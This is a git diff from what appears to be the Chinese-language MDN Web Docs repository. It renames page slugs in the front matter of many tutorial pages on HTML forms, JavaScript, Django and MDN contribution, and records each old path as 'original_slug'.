    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html index 93cf5069c2..b2bfa229e8 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html @@ -1,10 +1,11 @@ --- title: Example 1 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1 +slug: Learn/Forms/How_to_build_custom_form_controls/Example_1 tags: - HTML - 表单 translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1 ---

    这是第一个如果构建自定义表单小部件的代码解释事例。

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html index 3a9546631f..e102e1a313 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html @@ -1,10 +1,11 @@ --- title: Example 2 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2 +slug: Learn/Forms/How_to_build_custom_form_controls/Example_2 tags: - HTML - 表单 translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2 ---

    这是解释 如何构建自定义表单小部件的第二个示例。

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html index a4a58880e4..d17136e128 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html @@ -1,10 +1,11 @@ --- title: Example 3 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3 +slug: Learn/Forms/How_to_build_custom_form_controls/Example_3 tags: - HTML - 表单 translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3 ---

    这是解释 如何构建自定义表单小部件 的第三个示例。

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html index 472102adb2..0219ad6218 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html @@ -1,12 +1,13 @@ --- title: Example 4 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4 +slug: Learn/Forms/How_to_build_custom_form_controls/Example_4 tags: - HTML - Web - 表单 - 高级 translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4 ---

    这是解释 如何构建自定义表单小部件 的第四个示例。

    diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html index 24636e7858..7ee2617b1d 100644 --- a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html @@ -1,12 +1,13 @@ --- title: 如何构建表单小工具 -slug: Learn/HTML/Forms/How_to_build_custom_form_widgets +slug: Learn/Forms/How_to_build_custom_form_controls tags: - HTML - 例子 - 表单 - 高级 translation_of: Learn/Forms/How_to_build_custom_form_controls +original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html b/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html index eda4b201da..341d533fc9 100644 --- a/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html +++ b/files/zh-cn/learn/forms/how_to_structure_a_web_form/index.html @@ -1,7 +1,8 @@ --- title: 如何构造HTML表单 -slug: Learn/HTML/Forms/How_to_structure_an_HTML_form +slug: Learn/Forms/How_to_structure_a_web_form translation_of: Learn/Forms/How_to_structure_a_web_form +original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html b/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html index d6045e0d70..914939e028 100644 --- a/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html +++ b/files/zh-cn/learn/forms/html_forms_in_legacy_browsers/index.html @@ -1,7 +1,8 @@ --- title: 旧式浏览器中的HTML 表单 -slug: Learn/HTML/Forms/HTML_forms_in_legacy_browsers +slug: Learn/Forms/HTML_forms_in_legacy_browsers translation_of: Learn/Forms/HTML_forms_in_legacy_browsers +original_slug: Learn/HTML/Forms/HTML_forms_in_legacy_browsers ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/index.html b/files/zh-cn/learn/forms/index.html index ad51eafa35..e4d6f79e6f 100644 --- a/files/zh-cn/learn/forms/index.html +++ b/files/zh-cn/learn/forms/index.html @@ -1,12 +1,13 @@ --- title: HTML表单指南 -slug: Learn/HTML/Forms +slug: Learn/Forms tags: - Forms - HTML - NeedsTranslation - TopicStub translation_of: Learn/Forms +original_slug: Learn/HTML/Forms ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html b/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html index 31f8075f5b..2a30d40290 100644 --- a/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html +++ b/files/zh-cn/learn/forms/property_compatibility_table_for_form_controls/index.html @@ -1,7 +1,8 @@ --- title: 表单组件兼容性列表 -slug: Learn/HTML/Forms/Property_compatibility_table_for_form_widgets +slug: Learn/Forms/Property_compatibility_table_for_form_controls translation_of: Learn/Forms/Property_compatibility_table_for_form_controls +original_slug: Learn/HTML/Forms/Property_compatibility_table_for_form_widgets ---
    {{learnsidebar}}{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html b/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html index ed3a4ef0ef..21d9228dbb 100644 --- a/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html +++ b/files/zh-cn/learn/forms/sending_and_retrieving_form_data/index.html @@ -1,6 +1,6 @@ --- title: 发送表单数据 -slug: Learn/HTML/Forms/Sending_and_retrieving_form_data +slug: Learn/Forms/Sending_and_retrieving_form_data tags: - HTML - HTTP @@ -9,6 +9,7 @@ tags: - 安全 - 表单 translation_of: Learn/Forms/Sending_and_retrieving_form_data +original_slug: Learn/HTML/Forms/Sending_and_retrieving_form_data ---

    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}

    diff --git a/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html b/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html index 8489ff2243..6f3edf8801 100644 --- a/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html +++ b/files/zh-cn/learn/forms/sending_forms_through_javascript/index.html @@ -1,6 +1,6 @@ --- title: 使用 JavaScript 发送表单 -slug: Learn/HTML/Forms/Sending_forms_through_JavaScript +slug: Learn/Forms/Sending_forms_through_JavaScript tags: - HTML - HTML表单 @@ -10,6 +10,7 @@ tags: - 表单 - 高级 translation_of: Learn/Forms/Sending_forms_through_JavaScript +original_slug: Learn/HTML/Forms/Sending_forms_through_JavaScript ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms")}}
    diff --git a/files/zh-cn/learn/forms/styling_web_forms/index.html b/files/zh-cn/learn/forms/styling_web_forms/index.html index 26b94e94e8..b72fd35d77 100644 --- a/files/zh-cn/learn/forms/styling_web_forms/index.html +++ b/files/zh-cn/learn/forms/styling_web_forms/index.html @@ -1,6 +1,6 @@ --- title: 样式化 HTML 表单 -slug: Learn/HTML/Forms/Styling_HTML_forms +slug: Learn/Forms/Styling_web_forms tags: - CSS - Web @@ -9,6 +9,7 @@ tags: - 样式 - 表单 translation_of: Learn/Forms/Styling_web_forms +original_slug: Learn/HTML/Forms/Styling_HTML_forms ---

    {{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/HTML_forms_in_legacy_browsers", "Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}

    diff --git a/files/zh-cn/learn/forms/your_first_form/index.html b/files/zh-cn/learn/forms/your_first_form/index.html index 5b0adc1480..ed7c3f1087 100644 --- a/files/zh-cn/learn/forms/your_first_form/index.html +++ b/files/zh-cn/learn/forms/your_first_form/index.html @@ -1,7 +1,8 @@ --- title: 创建我的第一个表单 -slug: Learn/HTML/Forms/Your_first_HTML_form +slug: Learn/Forms/Your_first_form translation_of: Learn/Forms/Your_first_form +original_slug: Learn/HTML/Forms/Your_first_HTML_form ---

    {{LearnSidebar}}{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}

    diff --git a/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html b/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html index 5a07e862a0..b128523809 100644 --- a/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html +++ b/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html @@ -1,11 +1,12 @@ --- title: 小贴士:如何制作快速加载的HTML页面 -slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages +slug: Learn/HTML/Howto/Author_fast-loading_HTML_pages tags: - HTML - 全部分类 - 教程 translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages +original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages ---

    以下技巧都是基于通用的知识和经验。

    diff --git a/files/zh-cn/learn/html/howto/use_data_attributes/index.html b/files/zh-cn/learn/html/howto/use_data_attributes/index.html index 009517f416..4b17a47c07 100644 --- a/files/zh-cn/learn/html/howto/use_data_attributes/index.html +++ b/files/zh-cn/learn/html/howto/use_data_attributes/index.html @@ -1,10 +1,11 @@ --- title: 使用数据属性 -slug: Web/Guide/HTML/Using_data_attributes +slug: Learn/HTML/Howto/Use_data_attributes tags: - Custom Data Attributes - HTML5 translation_of: Learn/HTML/Howto/Use_data_attributes +original_slug: Web/Guide/HTML/Using_data_attributes ---

    {{LearnSidebar}}

    diff --git a/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html index 63c421487b..3d32019595 100644 --- a/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html +++ b/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -1,6 +1,6 @@ --- title: 文档与网站架构 -slug: learn/HTML/Introduction_to_HTML/文件和网站结构 +slug: Learn/HTML/Introduction_to_HTML/Document_and_website_structure tags: - HTML - 块 @@ -11,6 +11,7 @@ tags: - 脚本编写 - 页面 translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +original_slug: learn/HTML/Introduction_to_HTML/文件和网站结构 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html index c66ca6499e..a7dc99e0fc 100644 --- a/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html +++ b/files/zh-cn/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html @@ -1,7 +1,8 @@ --- title: 从对象到iframe - 其他嵌入技术 -slug: Learn/HTML/Multimedia_and_embedding/其他嵌入技术 +slug: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies +original_slug: Learn/HTML/Multimedia_and_embedding/其他嵌入技术 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/async_await/index.html b/files/zh-cn/learn/javascript/asynchronous/async_await/index.html index 739ab63602..60e22c6bd7 100644 --- a/files/zh-cn/learn/javascript/asynchronous/async_await/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/async_await/index.html @@ -1,7 +1,8 @@ --- -title: 'async和await:让异步编程更简单' -slug: learn/JavaScript/异步/Async_await +title: async和await:让异步编程更简单 +slug: Learn/JavaScript/Asynchronous/Async_await translation_of: Learn/JavaScript/Asynchronous/Async_await +original_slug: learn/JavaScript/异步/Async_await ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html b/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html index 276d815b85..4241740479 100644 --- a/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/choosing_the_right_approach/index.html @@ -1,7 +1,8 @@ --- title: 选择正确的方法 -slug: learn/JavaScript/异步/Choosing_the_right_approach +slug: Learn/JavaScript/Asynchronous/Choosing_the_right_approach translation_of: Learn/JavaScript/Asynchronous/Choosing_the_right_approach +original_slug: learn/JavaScript/异步/Choosing_the_right_approach ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/concepts/index.html b/files/zh-cn/learn/javascript/asynchronous/concepts/index.html index 6e59cda54b..757eee777c 100644 --- a/files/zh-cn/learn/javascript/asynchronous/concepts/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/concepts/index.html @@ -1,6 +1,6 @@ --- title: 通用异步编程概念 -slug: learn/JavaScript/异步/概念 +slug: Learn/JavaScript/Asynchronous/Concepts tags: - JavaScript - Promises @@ -9,6 +9,7 @@ tags: - 异步 - 阻塞 translation_of: Learn/JavaScript/Asynchronous/Concepts +original_slug: learn/JavaScript/异步/概念 ---
    {{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/index.html b/files/zh-cn/learn/javascript/asynchronous/index.html index 3d89f5a060..aa5c99dc8d 100644 --- a/files/zh-cn/learn/javascript/asynchronous/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/index.html @@ -1,6 +1,6 @@ --- title: 异步JavaScript -slug: learn/JavaScript/异步 +slug: Learn/JavaScript/Asynchronous tags: - JavaScript - Promises @@ -14,6 +14,7 @@ tags: - 设置定时器 - 设置间隔 translation_of: Learn/JavaScript/Asynchronous +original_slug: learn/JavaScript/异步 ---
    diff --git a/files/zh-cn/learn/javascript/asynchronous/introducing/index.html b/files/zh-cn/learn/javascript/asynchronous/introducing/index.html index 1792c0e086..a2e492120d 100644 --- a/files/zh-cn/learn/javascript/asynchronous/introducing/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/introducing/index.html @@ -1,7 +1,8 @@ --- title: 异步JavaScript简介 -slug: learn/JavaScript/异步/简介 +slug: Learn/JavaScript/Asynchronous/Introducing translation_of: Learn/JavaScript/Asynchronous/Introducing +original_slug: learn/JavaScript/异步/简介 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/promises/index.html b/files/zh-cn/learn/javascript/asynchronous/promises/index.html index 665bda8129..cbdeefb513 100644 --- a/files/zh-cn/learn/javascript/asynchronous/promises/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/promises/index.html @@ -1,7 +1,8 @@ --- title: 优雅的异步处理 -slug: learn/JavaScript/异步/Promises语法 +slug: Learn/JavaScript/Asynchronous/Promises translation_of: Learn/JavaScript/Asynchronous/Promises +original_slug: learn/JavaScript/异步/Promises语法 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html index 2cf83da82c..1f33b4efc2 100644 --- a/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html +++ b/files/zh-cn/learn/javascript/asynchronous/timeouts_and_intervals/index.html @@ -1,7 +1,8 @@ --- title: '合作异步JavaScript: 超时和间隔' -slug: learn/JavaScript/异步/超时和间隔 +slug: Learn/JavaScript/Asynchronous/Timeouts_and_intervals translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals +original_slug: learn/JavaScript/异步/超时和间隔 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html b/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html index 22101b20ba..f4b6d8adde 100644 --- a/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html +++ b/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html @@ -1,6 +1,6 @@ --- title: 照片库 -slug: learn/JavaScript/Building_blocks/相片走廊 +slug: Learn/JavaScript/Building_blocks/Image_gallery tags: - 事件 - 事件句柄 @@ -9,6 +9,7 @@ tags: - 循环 - 评估 translation_of: Learn/JavaScript/Building_blocks/Image_gallery +original_slug: learn/JavaScript/Building_blocks/相片走廊 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html b/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html index 2730489d15..edf1d50c90 100644 --- a/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html +++ b/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html @@ -1,6 +1,6 @@ --- title: 为“弹球”示例添加新功能 -slug: Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能 +slug: Learn/JavaScript/Objects/Adding_bouncing_balls_features tags: - JavaScript - 初学者 @@ -8,6 +8,7 @@ tags: - 测验 - 面向对象 translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features +original_slug: Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html b/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html index 8fd0cc3256..0b14bde706 100644 --- a/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html +++ b/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html @@ -1,6 +1,6 @@ --- title: 测试你的技能:面向对象的Javascript -slug: 'Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript' +slug: Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript tags: - JavaScript - OOJS @@ -8,7 +8,8 @@ tags: - 学习 - 对象 - 测试你的技能 -translation_of: 'Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript' +translation_of: Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript +original_slug: Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript ---
    {{learnsidebar}}
    diff --git a/files/zh-cn/learn/performance/perceived_performance/index.html b/files/zh-cn/learn/performance/perceived_performance/index.html index 3740a4c62c..0c94a07b55 100644 --- a/files/zh-cn/learn/performance/perceived_performance/index.html +++ b/files/zh-cn/learn/performance/perceived_performance/index.html @@ -1,10 +1,11 @@ --- title: 感知性能 -slug: learn/Performance/感知性能 +slug: Learn/Performance/perceived_performance tags: - Web 性能 - 感知性能 translation_of: Learn/Performance/perceived_performance +original_slug: learn/Performance/感知性能 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html b/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html index 577aacfb08..0c147ac449 100644 --- a/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html +++ b/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html @@ -1,9 +1,10 @@ --- title: Properly Configuring Server MIME Types -slug: Web/Security/Securing_your_site/Configuring_server_MIME_types +slug: Learn/Server-side/Configuring_server_MIME_types tags: - HTTP translation_of: Learn/Server-side/Configuring_server_MIME_types +original_slug: Web/Security/Securing_your_site/Configuring_server_MIME_types ---

    Background

    diff --git a/files/zh-cn/learn/server-side/django/admin_site/index.html b/files/zh-cn/learn/server-side/django/admin_site/index.html index d3252d84c5..c8330e346c 100644 --- a/files/zh-cn/learn/server-side/django/admin_site/index.html +++ b/files/zh-cn/learn/server-side/django/admin_site/index.html @@ -1,7 +1,8 @@ --- title: 'Django Tutorial Part 4: Django 管理员站点' -slug: learn/Server-side/Django/管理站点 +slug: Learn/Server-side/Django/Admin_site translation_of: Learn/Server-side/Django/Admin_site +original_slug: learn/Server-side/Django/管理站点 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/server-side/django/development_environment/index.html b/files/zh-cn/learn/server-side/django/development_environment/index.html index fb6041621f..ce2eaa6032 100644 --- a/files/zh-cn/learn/server-side/django/development_environment/index.html +++ b/files/zh-cn/learn/server-side/django/development_environment/index.html @@ -1,10 +1,11 @@ --- title: 设置Django开发环境 -slug: learn/Server-side/Django/开发环境 +slug: Learn/Server-side/Django/development_environment tags: - Python - django translation_of: Learn/Server-side/Django/development_environment +original_slug: learn/Server-side/Django/开发环境 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/server-side/django/home_page/index.html b/files/zh-cn/learn/server-side/django/home_page/index.html index 0527ba8731..96daafc313 100644 --- a/files/zh-cn/learn/server-side/django/home_page/index.html +++ b/files/zh-cn/learn/server-side/django/home_page/index.html @@ -1,7 +1,8 @@ --- title: 'Django Tutorial Part 5: 主页构建' -slug: learn/Server-side/Django/主页构建 +slug: Learn/Server-side/Django/Home_page translation_of: Learn/Server-side/Django/Home_page +original_slug: learn/Server-side/Django/主页构建 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html index 3975354417..445a22b64f 100644 --- a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.html @@ -1,6 +1,6 @@ --- title: 客户端框架介绍 -slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction tags: - JavaScript - 初学者 @@ -8,6 +8,7 @@ tags: - 客户端 - 框架 translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction +original_slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html index 704f595fb4..c5c4a799d2 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html @@ -1,6 +1,6 @@ --- title: 解决常见的可访问性问题 -slug: Learn/Tools_and_testing/Cross_browser_testing/可访问性 +slug: Learn/Tools_and_testing/Cross_browser_testing/Accessibility tags: - CSS - CodingScripting @@ -15,6 +15,7 @@ tags: - 跨浏览器 - 键盘 translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility +original_slug: Learn/Tools_and_testing/Cross_browser_testing/可访问性 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html index fb01cd2843..98545199d4 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html @@ -1,6 +1,6 @@ --- title: 进行测试的策略 -slug: Learn/Tools_and_testing/Cross_browser_testing/测试策略 +slug: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies tags: - 测试 - 测试策略 @@ -9,6 +9,7 @@ tags: - 虚拟机 仿真器 - 跨浏览器测试 translation_of: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies +original_slug: Learn/Tools_and_testing/Cross_browser_testing/测试策略 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/mdn/at_ten/index.html b/files/zh-cn/mdn/at_ten/index.html index fa9ddcf29d..7ea2a9b3be 100644 --- a/files/zh-cn/mdn/at_ten/index.html +++ b/files/zh-cn/mdn/at_ten/index.html @@ -1,7 +1,8 @@ --- title: Mozilla开发者网络10周年 -slug: MDN_at_ten +slug: MDN/At_ten translation_of: MDN_at_ten +original_slug: MDN_at_ten ---
    为我们web技术的文档化走过10年而庆祝!
    diff --git a/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html b/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html index 8c0513d654..5eb6dda2b6 100644 --- a/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html +++ b/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html @@ -1,7 +1,8 @@ --- title: 如何添加或更新浏览器兼容性数据 -slug: MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据 +slug: MDN/Contribute/Howto/Add_or_update_browser_compatibility_data translation_of: MDN/Contribute/Howto/Add_or_update_browser_compatibility_data +original_slug: MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据 ---
    {{MDNSidebar}}

    如果你有浏览器在兼容Web特性方面的信息 —— 或者有意愿并有能力做一些这方面的研究和/或实验 —— 你可以帮助更新MDN的浏览器兼容性数据库BCD)。

    diff --git a/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html b/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html index 91b8a8640d..6dc3e8bf11 100644 --- a/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html +++ b/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html @@ -1,6 +1,6 @@ --- title: 如何创建一个交互学习环境 -slug: MDN/Contribute/Howto/学习_交互_在线_起步_开始 +slug: MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web tags: - MDN Meta - 交互 @@ -8,6 +8,7 @@ tags: - 学习 - 教程 translation_of: MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web +original_slug: MDN/Contribute/Howto/学习_交互_在线_起步_开始 ---
    {{MDNSidebar}}

    动态的内容对于学习 Web 来说是重要的。 她能让学习的人更加积极主动。 这可以是练习,实例,任务,评价等等。总之,任何有助于学习理解的东西都行。

    diff --git a/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html b/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html index 1f40cc49b8..5561aa35f3 100644 --- a/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html +++ b/files/zh-cn/mdn/guidelines/does_this_belong_on_mdn/index.html @@ -1,7 +1,8 @@ --- title: MDN收录规则 -slug: MDN/Guidelines/Rules_Of_MDN_Documenting +slug: MDN/Guidelines/Does_this_belong_on_MDN translation_of: MDN/Guidelines/Does_this_belong_on_MDN +original_slug: MDN/Guidelines/Rules_Of_MDN_Documenting ---
    {{MDNSidebar}}
    {{IncludeSubnav("/zh-CN/docs/MDN")}}
    diff --git a/files/zh-cn/mdn/guidelines/writing_style_guide/index.html b/files/zh-cn/mdn/guidelines/writing_style_guide/index.html index 285b2703cb..8ff75a97ef 100644 --- a/files/zh-cn/mdn/guidelines/writing_style_guide/index.html +++ b/files/zh-cn/mdn/guidelines/writing_style_guide/index.html @@ -1,6 +1,6 @@ --- title: MDN Web 文档写作规范 -slug: MDN/Guidelines/Style_guide +slug: MDN/Guidelines/Writing_style_guide tags: - MDN - MDN Meta @@ -12,6 +12,7 @@ tags: - 文档 - 规范 translation_of: MDN/Guidelines/Writing_style_guide +original_slug: MDN/Guidelines/Style_guide ---
    {{MDNSidebar}}
    diff --git a/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html b/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html index 3809bb2094..7b0e7d637e 100644 --- a/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html +++ b/files/zh-cn/mdn/structures/macros/commonly-used_macros/index.html @@ -1,12 +1,13 @@ --- title: 常用的宏 -slug: MDN/Structures/Macros/Custom_macros +slug: MDN/Structures/Macros/Commonly-used_macros tags: - CSS - 参考 - 宏 - 结构 translation_of: MDN/Structures/Macros/Commonly-used_macros +original_slug: MDN/Structures/Macros/Custom_macros ---
    {{MDNSidebar}}
